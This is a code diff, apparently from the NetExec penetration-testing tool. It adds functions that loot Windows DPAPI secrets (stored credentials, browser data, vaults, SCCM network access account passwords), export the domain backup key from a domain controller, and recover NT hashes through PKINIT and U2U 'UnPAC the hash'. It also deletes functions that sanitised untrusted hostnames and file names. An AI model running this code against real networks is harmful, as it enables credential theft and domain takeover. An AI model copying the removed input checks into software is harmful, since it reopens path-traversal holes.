# Nothing will be recovered if no masterkeys, so we can stop there
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting secrets...")
|
||||
|
||||
# Calling all the triage functions. We can add other triage functions here
|
||||
self.triage_credentials(masterkeys)
|
||||
self.triage_chromium(masterkeys)
|
||||
self.triage_vaults(masterkeys)
|
||||
self.triage_firefox()
|
||||
|
||||
def triage_sccm(self):
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
if len(masterkeys) == 0:
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting SCCM Credentials")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
line = f"[{tag}] {secret.secret.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@property
|
||||
def pvkbytes(self):
|
||||
"""
|
||||
The pvkbytes. If not already initialized, tries to set it
|
||||
The precedence order is the following :
|
||||
- Check the pvk argument
|
||||
- Checks in the DB
|
||||
- Get it from a domain controller
|
||||
"""
|
||||
# pvkbytes already loaded and in cache ? Serve it
|
||||
if self._pvkbytes is not None:
|
||||
return self._pvkbytes
|
||||
|
||||
pvkbytes = None
|
||||
|
||||
# First check the pvk argument and handle it
|
||||
if self.connection.args.pvk is not None:
|
||||
try:
|
||||
with open(self.connection.args.pvk, "rb") as fd:
|
||||
pvkbytes = fd.read()
|
||||
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# If no pvkbytes yet, then we check in the DB
|
||||
if pvkbytes is None:
|
||||
try:
|
||||
results = self.connection.db.get_domain_backupkey(self.connection.domain)
|
||||
except Exception:
|
||||
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
|
||||
return False
|
||||
if len(results) > 0:
|
||||
self.connection.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
|
||||
# If no pvkbytes yet, then we can try to get it from a domain controller
|
||||
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
|
||||
try:
|
||||
dc_target = SMBTarget.create(
|
||||
domain=self.connection.domain,
|
||||
username=self.connection.username,
|
||||
password=self.connection.password,
|
||||
address=self.connection.kdcHost, # querying DNS server for domain will return DC
|
||||
lmhash=self.connection.lmhash,
|
||||
nthash=self.connection.nthash,
|
||||
do_kerberos=self.connection.kerberos,
|
||||
aesKey=self.connection.aesKey,
|
||||
use_kcache=self.connection.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
|
||||
else:
|
||||
self.connection.no_da = False
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self._pvkbytes = pvkbytes
|
||||
return self._pvkbytes
|
||||
@@ -0,0 +1,79 @@
|
||||
|
||||
from datetime import datetime, timezone
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
|
||||
def parse_ldap_timestamp(ts):
|
||||
"""Convert LDAP generalized time (e.g., '20240603160917.0Z')
|
||||
to a human-readable string
|
||||
"""
|
||||
if not ts:
|
||||
return ""
|
||||
try:
|
||||
cleaned = ts.replace(".0Z", "").replace("Z", "")
|
||||
dt = datetime.strptime(cleaned, "%Y%m%d%H%M%S").replace(tzinfo=timezone.utc)
|
||||
return dt.strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||
except (ValueError, TypeError):
|
||||
return ts
|
||||
|
||||
|
||||
def query_ldap_gpos(host, domain, username, password, lmhash, nthash, aes_key, kdc_host, kerberos, logger):
|
||||
"""Query LDAP for GPO metadata
|
||||
Returns dict of {GUID: {displayName, ...}} or None on failure
|
||||
|
||||
This function is standalone so it can be reused by other modules
|
||||
(e.g., a future list_gpos LDAP module)
|
||||
"""
|
||||
base_dn = ",".join(f"DC={part}" for part in domain.split("."))
|
||||
search_filter = "(objectClass=groupPolicyContainer)"
|
||||
attributes = ["cn", "displayName", "gPCFileSysPath", "versionNumber", "whenCreated", "whenChanged"]
|
||||
|
||||
try:
|
||||
ldap_url = f"ldap://{host}"
|
||||
logger.debug(f"Connecting to LDAP at {ldap_url} for GPO metadata")
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=base_dn, dstIp=host)
|
||||
|
||||
if kerberos:
|
||||
ldap_connection.kerberosLogin(username, password, domain, lmhash, nthash, aes_key, kdcHost=kdc_host)
|
||||
else:
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
search_base = f"CN=Policies,CN=System,{base_dn}"
|
||||
logger.debug(f"Searching LDAP: base={search_base}, filter={search_filter}")
|
||||
resp = ldap_connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=attributes,
|
||||
searchBase=search_base,
|
||||
sizeLimit=0,
|
||||
)
|
||||
|
||||
gpo_map = {}
|
||||
for entry in resp:
|
||||
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
|
||||
attrs = {}
|
||||
for attribute in entry["attributes"]:
|
||||
attr_name = str(attribute["type"])
|
||||
vals = [str(val) for val in attribute["vals"].components]
|
||||
attrs[attr_name] = vals[0] if len(vals) == 1 else vals
|
||||
|
||||
guid = attrs.get("cn", "").upper()
|
||||
if guid:
|
||||
if not guid.startswith("{"):
|
||||
guid = f"{{{guid}}}"
|
||||
gpo_map[guid] = {
|
||||
"displayName": attrs.get("displayName", "Unknown"),
|
||||
"gPCFileSysPath": attrs.get("gPCFileSysPath", ""),
|
||||
"versionNumber": attrs.get("versionNumber", "0"),
|
||||
"whenCreated": attrs.get("whenCreated", ""),
|
||||
"whenChanged": attrs.get("whenChanged", ""),
|
||||
}
|
||||
|
||||
logger.debug(f"LDAP returned {len(gpo_map)} GPOs")
|
||||
return gpo_map
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(f"LDAP GPO query failed: {e}")
|
||||
return None
|
||||
@@ -1,12 +1,9 @@
|
||||
from contextlib import suppress
|
||||
from enum import Enum
|
||||
import hashlib
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import inspect
|
||||
import os
|
||||
from unicodedata import normalize
|
||||
from termcolor import colored
|
||||
from ipaddress import ip_address
|
||||
from nxc.logger import nxc_logger
|
||||
@@ -29,91 +26,6 @@ def gen_random_string(length=10):
|
||||
return "".join(random.sample(string.ascii_letters, int(length)))
|
||||
|
||||
|
||||
def sanitize_dns(hostname, logger=nxc_logger):
|
||||
"""Return an untrusted hostname or domain as a safe, nonempty string."""
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
if hostname is None:
|
||||
return "_"
|
||||
|
||||
try:
|
||||
hostname = hostname.decode("utf-8", errors="surrogateescape") if isinstance(hostname, bytes) else str(hostname)
|
||||
except Exception:
|
||||
return "_"
|
||||
if not hostname:
|
||||
return "_"
|
||||
|
||||
# Replace path, configuration, formatting, whitespace, and control characters.
|
||||
unsafe_characters = '<>:"/\\|?*{}[]=#;\'' # Portable paths, format strings, hosts files, and krb5.conf
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and not character.isspace()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable()
|
||||
and not normalized_character.isspace()
|
||||
and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in hostname
|
||||
)
|
||||
|
||||
# Neutralize traversal segments and Windows-trimmed trailing dots.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Bound filename length while retaining a stable identifier for long names.
|
||||
if len(sanitized.encode("utf-8")) > 253:
|
||||
suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > 253 - len(suffix):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{suffix}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > 253
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character.isspace()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable()
|
||||
or normalized_character.isspace()
|
||||
or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
sanitized = "_"
|
||||
|
||||
# Report changed input without allowing logging failures to affect safety.
|
||||
if sanitized != hostname:
|
||||
received = ascii(hostname[:256])
|
||||
result = ascii(sanitized)
|
||||
if len(hostname) > 256 or len(received) > 256:
|
||||
received = f"{received[:253]}..."
|
||||
if len(result) > 256:
|
||||
result = f"{result[:253]}..."
|
||||
if logger is not None:
|
||||
with suppress(Exception):
|
||||
logger.fail(f"Unsafe hostname or domain received: {received}; using {result}")
|
||||
return sanitized
|
||||
|
||||
|
||||
def validate_ntlm(data):
|
||||
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
|
||||
return bool(allowed.match(data))
|
||||
|
||||
@@ -12,7 +12,6 @@ import contextlib
|
||||
def parse_challenge(challange):
|
||||
target_info = {
|
||||
"hostname": None,
|
||||
"dns_hostname": None,
|
||||
"domain": None,
|
||||
"os_version": None
|
||||
}
|
||||
@@ -21,9 +20,6 @@ def parse_challenge(challange):
|
||||
if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["dns_hostname"] = av_pairs[ntlm.NTLMSSP_AV_DNS_HOSTNAME][1].decode("utf-16le")
|
||||
if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
|
||||
|
||||
@@ -1,98 +1,4 @@
|
||||
import hashlib
|
||||
from pathlib import PurePosixPath
|
||||
import re
|
||||
from unicodedata import normalize
|
||||
|
||||
|
||||
def sanitize_path_component(name, max_bytes=255):
|
||||
"""Return one portable, bounded path component from untrusted input."""
|
||||
# Reserve enough space for one character and the collision-resistant suffix.
|
||||
if max_bytes < 14:
|
||||
raise ValueError("max_bytes must be at least 14")
|
||||
|
||||
# Always provide a safe fallback, even for missing or unstringable input.
|
||||
try:
|
||||
name = name.decode("utf-8", errors="surrogateescape") if isinstance(name, bytes) else str(name) if name is not None else ""
|
||||
except Exception:
|
||||
name = ""
|
||||
if not name:
|
||||
return "_"
|
||||
|
||||
# Replace path, control, and Unicode-equivalent metacharacters.
|
||||
unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters
|
||||
sanitized = "".join(
|
||||
character if character.isprintable()
|
||||
and character not in unsafe_characters
|
||||
and all(
|
||||
normalized_character.isprintable() and normalized_character not in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
else "_"
|
||||
for character in name
|
||||
)
|
||||
|
||||
# Neutralize traversal-only names and Windows-trimmed trailing dots or spaces.
|
||||
if normalize("NFKC", sanitized) in (".", ".."):
|
||||
sanitized = "_" * len(sanitized)
|
||||
while sanitized and (
|
||||
sanitized[-1] == "."
|
||||
or sanitized[-1].isspace()
|
||||
or normalize("NFKC", sanitized[-1]).endswith(".")
|
||||
or any(character.isspace() for character in normalize("NFKC", sanitized[-1]))
|
||||
):
|
||||
sanitized = f"{sanitized[:-1]}_"
|
||||
|
||||
# Avoid Windows device names, including names followed by an extension.
|
||||
normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].rstrip(" ").upper()
|
||||
if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem):
|
||||
sanitized = f"_{sanitized}"
|
||||
|
||||
# Bound the byte length with a stable digest while preserving short extensions.
|
||||
if len(sanitized.encode("utf-8")) > max_bytes:
|
||||
digest = f"_{hashlib.sha256(name.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}"
|
||||
extension = ""
|
||||
extension_index = sanitized.rfind(".")
|
||||
if (
|
||||
extension_index > 0
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= 32
|
||||
and len(sanitized[extension_index:].encode("utf-8")) <= max_bytes - len(digest)
|
||||
):
|
||||
extension = sanitized[extension_index:]
|
||||
sanitized = sanitized[:extension_index]
|
||||
byte_length = 0
|
||||
truncated = []
|
||||
for character in sanitized:
|
||||
character_length = len(character.encode("utf-8"))
|
||||
if byte_length + character_length > max_bytes - len(digest) - len(extension.encode("utf-8")):
|
||||
break
|
||||
truncated.append(character)
|
||||
byte_length += character_length
|
||||
sanitized = f"{''.join(truncated)}{digest}{extension}"
|
||||
|
||||
# Fail closed if a future change violates any output invariant.
|
||||
normalized = normalize("NFKC", sanitized)
|
||||
normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper()
|
||||
if (
|
||||
not sanitized
|
||||
or not normalized
|
||||
or len(sanitized.encode("utf-8")) > max_bytes
|
||||
or normalized in (".", "..")
|
||||
or normalized.endswith(".")
|
||||
or normalized[-1].isspace()
|
||||
or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"}
|
||||
or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem)
|
||||
or any(
|
||||
not character.isprintable()
|
||||
or character in unsafe_characters
|
||||
or any(
|
||||
not normalized_character.isprintable() or normalized_character in unsafe_characters
|
||||
for normalized_character in normalize("NFKC", character)
|
||||
)
|
||||
for character in sanitized
|
||||
)
|
||||
):
|
||||
return "_"
|
||||
return sanitized
|
||||
|
||||
|
||||
def sanitize_filename(name: str) -> str:
|
||||
|
||||
+534
-180
@@ -1,216 +1,570 @@
|
||||
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
|
||||
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
# Description:
|
||||
# This script will use an existing TGT to request a PAC for the current user using U2U.
|
||||
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
|
||||
# used for silver tickets and for backwards compatibility with other tooling.
|
||||
#
|
||||
# References:
|
||||
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
|
||||
#
|
||||
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
|
||||
#
|
||||
# Authors:
|
||||
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
|
||||
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
|
||||
# Based on examples from minikerberos by skelsec
|
||||
# Parts of this code was inspired by the following project by @rubin_mor
|
||||
# https://github.com/morRubin/AzureADJoinedMachinePTC
|
||||
#
|
||||
# Author:
|
||||
# Tamas Jos (@skelsec)
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
#
|
||||
|
||||
import base64
|
||||
import datetime
|
||||
import os
|
||||
import secrets
|
||||
import hashlib
|
||||
import datetime
|
||||
import random
|
||||
import tempfile
|
||||
import base64
|
||||
|
||||
from binascii import hexlify
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
from asn1crypto import x509
|
||||
|
||||
from minikerberos.protocol.dirtydh import DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
|
||||
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
|
||||
|
||||
from pyasn1.codec.der import decoder, encoder
|
||||
from pyasn1.error import PyAsn1Error
|
||||
from pyasn1.type.univ import noValue
|
||||
|
||||
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
|
||||
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
|
||||
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
|
||||
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
|
||||
from impacket.krb5.types import KerberosTime, Principal, Ticket
|
||||
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
|
||||
from impacket.krb5.kerberosv5 import sendReceive
|
||||
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
|
||||
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
|
||||
from impacket.krb5.types import Principal, KerberosTime, Ticket
|
||||
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH, TMP_PATH
|
||||
# Imports for pfx_auth
|
||||
from minikerberos.network.clientsocket import KerberosClientSocket
|
||||
from minikerberos.common.target import KerberosTarget
|
||||
from minikerberos.common.ccache import CCACHE
|
||||
|
||||
from impacket.krb5.ccache import CCache as impacket_CCache
|
||||
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
def pkinit_credentials(args):
|
||||
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
|
||||
if args.pfx_cert:
|
||||
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
|
||||
def _load_asn1_certificate(data):
|
||||
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
|
||||
|
||||
if args.pfx_base64:
|
||||
with open(args.pfx_base64, "rb") as pfx_base64_file:
|
||||
pfxdata = base64.b64decode(pfx_base64_file.read())
|
||||
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
|
||||
|
||||
if args.pem_cert and args.pem_key:
|
||||
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def read_nt_hash_from_pac(connection, enc_ticket_part, reply_key):
|
||||
"""Return the NT hash held by the PAC_CREDENTIAL_INFO of a ticket, or None when the PAC carries none"""
|
||||
decoded_ticket_part = decoder.decode(enc_ticket_part, asn1Spec=EncTicketPart())[0]
|
||||
ad_if_relevant = decoder.decode(decoded_ticket_part["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[0]
|
||||
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
|
||||
|
||||
buffers = pac_type["Buffers"]
|
||||
for _ in range(pac_type["cBuffers"]):
|
||||
info_buffer = PAC_INFO_BUFFER(buffers)
|
||||
buffers = buffers[len(info_buffer):]
|
||||
connection.logger.debug(f"PAC buffer type {info_buffer['ulType']}")
|
||||
if info_buffer["ulType"] != 2: # PAC_CREDENTIAL_INFO
|
||||
continue
|
||||
|
||||
credential_info = PAC_CREDENTIAL_INFO(pac_type["Buffers"][info_buffer["Offset"] - 8:][:info_buffer["cbBufferSize"]])
|
||||
cipher = _enctype_table[credential_info["EncryptionType"]]
|
||||
# Key usage 16: the PAC credential info, encrypted with the AS reply key
|
||||
credential_data = cipher.decrypt(reply_key, 16, credential_info["SerializedData"])
|
||||
serialization_header = TypeSerialization1(credential_data)
|
||||
# Skip the 4 bytes of the ReferentID of the pointer following the header
|
||||
credentials = PAC_CREDENTIAL_DATA(credential_data[len(serialization_header) + 4:])
|
||||
for credential in credentials["Credentials"]:
|
||||
supplemental_credential = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(credential["Credentials"]))
|
||||
return hexlify(supplemental_credential["NtPassword"]).decode()
|
||||
|
||||
connection.logger.fail("The PAC holds no PAC_CREDENTIAL_INFO: the account has no NT hash stored, or the TGT did not come from PKINIT")
|
||||
return None
|
||||
|
||||
|
||||
def unpac_the_hash(connection, username, tgt, cipher, reply_key, session_key):
|
||||
"""Recover the NT hash of the account the TGT belongs to, through a U2U service ticket to itself
|
||||
|
||||
Only a PKINIT AS-REP carries a PAC_CREDENTIAL_INFO, and the KDC encrypts it with the AS reply key,
|
||||
which the TGT does not expose: it has to be read from a ticket requested with that very TGT.
|
||||
Returns None, after logging why, when the hash cannot be recovered
|
||||
The certificate is parsed by cryptography and re-encoded, so that malformed input is
|
||||
rejected here instead of failing later inside asn1crypto, which parses lazily
|
||||
"""
|
||||
decoded_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decoded_tgt["ticket"])
|
||||
realm = str(decoded_tgt["crealm"])
|
||||
now = datetime.datetime.now(datetime.UTC)
|
||||
|
||||
client_name = Principal()
|
||||
client_name.from_asn1(decoded_tgt, "crealm", "cname")
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator["authenticator-vno"] = 5
|
||||
authenticator["crealm"] = realm
|
||||
seq_set(authenticator, "cname", client_name.components_to_asn1)
|
||||
authenticator["cusec"] = now.microsecond
|
||||
authenticator["ctime"] = KerberosTime.to_asn1(now)
|
||||
connection.logger.debug(f"U2U authenticator: {authenticator.prettyPrint()}")
|
||||
|
||||
ap_req = AP_REQ()
|
||||
ap_req["pvno"] = 5
|
||||
ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
ap_req["ap-options"] = constants.encodeFlags([])
|
||||
seq_set(ap_req, "ticket", ticket.to_asn1)
|
||||
ap_req["authenticator"] = noValue
|
||||
ap_req["authenticator"]["etype"] = cipher.enctype
|
||||
# Key usage 7: the AP-REQ authenticator of a PA-TGS-REQ, encrypted with the TGT session key
|
||||
ap_req["authenticator"]["cipher"] = cipher.encrypt(session_key, 7, encoder.encode(authenticator), None)
|
||||
|
||||
tgs_req = TGS_REQ()
|
||||
tgs_req["pvno"] = 5
|
||||
tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
tgs_req["padata"] = noValue
|
||||
tgs_req["padata"][0] = noValue
|
||||
tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgs_req["padata"][0]["padata-value"] = encoder.encode(ap_req)
|
||||
|
||||
req_body = seq_set(tgs_req, "req-body")
|
||||
req_body["kdc-options"] = constants.encodeFlags([constants.KDCOptions.forwardable.value, constants.KDCOptions.renewable.value, constants.KDCOptions.canonicalize.value, constants.KDCOptions.enc_tkt_in_skey.value])
|
||||
req_body["realm"] = realm
|
||||
seq_set(req_body, "sname", Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value).components_to_asn1)
|
||||
req_body["till"] = KerberosTime.to_asn1(now + datetime.timedelta(days=1))
|
||||
req_body["nonce"] = random.getrandbits(31)
|
||||
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
|
||||
|
||||
connection.logger.info("Requesting a U2U service ticket to ourselves to read the PAC")
|
||||
try:
|
||||
response = sendReceive(encoder.encode(tgs_req), connection.domain, connection.kdcHost)
|
||||
tgs_rep = decoder.decode(response, asn1Spec=TGS_REP())[0]
|
||||
connection.logger.debug(f"U2U TGS-REP: {tgs_rep.prettyPrint()}")
|
||||
# Key usage 2: with enc-tkt-in-skey the ticket is encrypted with the session key of the TGT sent along
|
||||
enc_ticket_part = cipher.decrypt(session_key, 2, tgs_rep["ticket"]["enc-part"]["cipher"])
|
||||
return read_nt_hash_from_pac(connection, enc_ticket_part, reply_key)
|
||||
except (KerberosError, InvalidChecksum, PyAsn1Error, OSError, IndexError, KeyError) as e: # IndexError: empty AD-IF-RELEVANT, KeyError: unknown etype
|
||||
connection.logger.fail(f"Failed to unPAC the hash: {e}")
|
||||
return None
|
||||
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
|
||||
return _to_asn1_certificate(cert)
|
||||
|
||||
|
||||
def pfx_auth(self, domain, username):
|
||||
"""Authenticate with a client certificate through PKINIT, then optionally unPAC the NT hash"""
|
||||
if not self.kdcHost:
|
||||
self.logger.fail(f"Could not resolve KDC host for domain {domain}. Use --kdcHost to specify the domain controller IP")
|
||||
return False
|
||||
def _to_asn1_certificate(cert):
|
||||
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
|
||||
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
|
||||
|
||||
|
||||
def _check_rsa_privkey(privkey):
|
||||
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
|
||||
if not isinstance(privkey, rsa.RSAPrivateKey):
|
||||
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
|
||||
return privkey
|
||||
|
||||
|
||||
class myPKINIT:
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
|
||||
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
|
||||
which fails at import time on any OpenSSL whose version has a two digit component
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.privkey = None
|
||||
self.certificate = None
|
||||
self.issuer = None
|
||||
self.cname = None
|
||||
self.diffie = None
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
with open(pfxfile, "rb") as f:
|
||||
pfxdata = f.read()
|
||||
|
||||
if b64:
|
||||
pfxdata = base64.b64decode(pfxdata)
|
||||
|
||||
return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
|
||||
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
